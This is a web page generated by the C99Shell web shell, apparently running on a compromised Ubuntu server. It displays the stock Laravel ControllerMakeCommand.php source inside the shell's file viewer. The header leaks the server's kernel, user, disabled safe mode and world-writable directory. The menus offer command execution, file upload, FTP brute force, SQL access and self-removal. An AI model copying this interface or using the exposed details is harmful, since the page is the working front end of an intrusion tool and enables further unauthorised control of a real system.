!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/laravel/framework/src/Illuminate/Routing/Console/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ControllerMakeCommand.php (6.49 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing\Console;

use 
Illuminate\Console\GeneratorCommand;
use 
InvalidArgumentException;
use 
Symfony\Component\Console\Input\InputOption;

class 
ControllerMakeCommand extends GeneratorCommand
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'make:controller';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Create a new controller class';

    
/**
     * The type of class being generated.
     *
     * @var string
     */
    
protected $type 'Controller';

    
/**
     * Get the stub file for the generator.
     *
     * @return string
     */
    
protected function getStub()
    {
        
$stub null;

        if (
$type $this->option('type')) {
            
$stub "/stubs/controller.{$type}.stub";
        } elseif (
$this->option('parent')) {
            
$stub '/stubs/controller.nested.stub';
        } elseif (
$this->option('model')) {
            
$stub '/stubs/controller.model.stub';
        } elseif (
$this->option('invokable')) {
            
$stub '/stubs/controller.invokable.stub';
        } elseif (
$this->option('resource')) {
            
$stub '/stubs/controller.stub';
        }

        if (
$this->option('api') && is_null($stub)) {
            
$stub '/stubs/controller.api.stub';
        } elseif (
$this->option('api') && ! is_null($stub) && ! $this->option('invokable')) {
            
$stub str_replace('.stub''.api.stub'$stub);
        }

        
$stub $stub ?? '/stubs/controller.plain.stub';

        return 
$this->resolveStubPath($stub);
    }

    
/**
     * Resolve the fully-qualified path to the stub.
     *
     * @param  string  $stub
     * @return string
     */
    
protected function resolveStubPath($stub)
    {
        return 
file_exists($customPath $this->laravel->basePath(trim($stub'/')))
                        ? 
$customPath
                        
__DIR__.$stub;
    }

    
/**
     * Get the default namespace for the class.
     *
     * @param  string  $rootNamespace
     * @return string
     */
    
protected function getDefaultNamespace($rootNamespace)
    {
        return 
$rootNamespace.'\Http\Controllers';
    }

    
/**
     * Build the class with the given name.
     *
     * Remove the base controller import if we are already in the base namespace.
     *
     * @param  string  $name
     * @return string
     */
    
protected function buildClass($name)
    {
        
$controllerNamespace $this->getNamespace($name);

        
$replace = [];

        if (
$this->option('parent')) {
            
$replace $this->buildParentReplacements();
        }

        if (
$this->option('model')) {
            
$replace $this->buildModelReplacements($replace);
        }

        
$replace["use {$controllerNamespace}\Controller;\n"] = '';

        return 
str_replace(
            
array_keys($replace), array_values($replace), parent::buildClass($name)
        );
    }

    
/**
     * Build the replacements for a parent controller.
     *
     * @return array
     */
    
protected function buildParentReplacements()
    {
        
$parentModelClass $this->parseModel($this->option('parent'));

        if (! 
class_exists($parentModelClass)) {
            if (
$this->confirm("A {$parentModelClass} model does not exist. Do you want to generate it?"true)) {
                
$this->call('make:model', ['name' => $parentModelClass]);
            }
        }

        return [
            
'ParentDummyFullModelClass' => $parentModelClass,
            
'{{ namespacedParentModel }}' => $parentModelClass,
            
'{{namespacedParentModel}}' => $parentModelClass,
            
'ParentDummyModelClass' => class_basename($parentModelClass),
            
'{{ parentModel }}' => class_basename($parentModelClass),
            
'{{parentModel}}' => class_basename($parentModelClass),
            
'ParentDummyModelVariable' => lcfirst(class_basename($parentModelClass)),
            
'{{ parentModelVariable }}' => lcfirst(class_basename($parentModelClass)),
            
'{{parentModelVariable}}' => lcfirst(class_basename($parentModelClass)),
        ];
    }

    
/**
     * Build the model replacement values.
     *
     * @param  array  $replace
     * @return array
     */
    
protected function buildModelReplacements(array $replace)
    {
        
$modelClass $this->parseModel($this->option('model'));

        if (! 
class_exists($modelClass)) {
            if (
$this->confirm("A {$modelClass} model does not exist. Do you want to generate it?"true)) {
                
$this->call('make:model', ['name' => $modelClass]);
            }
        }

        return 
array_merge($replace, [
            
'DummyFullModelClass' => $modelClass,
            
'{{ namespacedModel }}' => $modelClass,
            
'{{namespacedModel}}' => $modelClass,
            
'DummyModelClass' => class_basename($modelClass),
            
'{{ model }}' => class_basename($modelClass),
            
'{{model}}' => class_basename($modelClass),
            
'DummyModelVariable' => lcfirst(class_basename($modelClass)),
            
'{{ modelVariable }}' => lcfirst(class_basename($modelClass)),
            
'{{modelVariable}}' => lcfirst(class_basename($modelClass)),
        ]);
    }

    
/**
     * Get the fully-qualified model class name.
     *
     * @param  string  $model
     * @return string
     *
     * @throws \InvalidArgumentException
     */
    
protected function parseModel($model)
    {
        if (
preg_match('([^A-Za-z0-9_/\\\\])'$model)) {
            throw new 
InvalidArgumentException('Model name contains invalid characters.');
        }

        return 
$this->qualifyModel($model);
    }

    
/**
     * Get the console command options.
     *
     * @return array
     */
    
protected function getOptions()
    {
        return [
            [
'api'nullInputOption::VALUE_NONE'Exclude the create and edit methods from the controller.'],
            [
'type'nullInputOption::VALUE_REQUIRED'Manually specify the controller stub file to use.'],
            [
'force'nullInputOption::VALUE_NONE'Create the class even if the controller already exists'],
            [
'invokable''i'InputOption::VALUE_NONE'Generate a single method, invokable controller class.'],
            [
'model''m'InputOption::VALUE_OPTIONAL'Generate a resource controller for the given model.'],
            [
'parent''p'InputOption::VALUE_OPTIONAL'Generate a nested resource controller class.'],
            [
'resource''r'InputOption::VALUE_NONE'Generate a resource controller class.'],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--